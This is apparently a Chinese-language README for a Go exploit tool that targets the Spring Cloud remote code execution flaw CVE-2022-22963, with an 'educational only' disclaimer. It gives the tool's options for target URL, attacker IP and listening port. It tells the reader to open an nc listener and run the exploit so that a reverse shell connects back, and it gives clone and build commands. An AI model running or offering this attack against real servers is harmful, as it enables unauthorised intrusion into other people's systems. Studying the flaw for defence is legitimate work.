利用 CVE-2022-22963 远程代码执行攻击 Spring Cloud 服务。
免责声明:本工具仅用于教育目的。作者不对本程序的使用承担任何责任。请自担风险使用。
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= 目标/主机 URL,运行 'Spring Cloud' 的位置。示例:-t http://somesite.htb
-p, --target-port= 运行服务的端口。示例:-p 8080
-i, --attacker-ip= 攻击者 IPv4 地址。示例:-i 10.10.10.10
-l, --listening-port= 用于接收连接的监听端口。示例:-l 1337
Help Options:
-h, --help 显示此帮助信息
假设一个可能易受攻击的目标运行在 http://somerandomserver.com:8080。启动 nc 监听端口 1337,运行 nc -lvnp 1337。然后运行脚本/漏洞利用程序:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
如果您的机器上安装了 go,只需执行:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #无需编译任何文件即可运行
go build -o exploit main.go #构建文件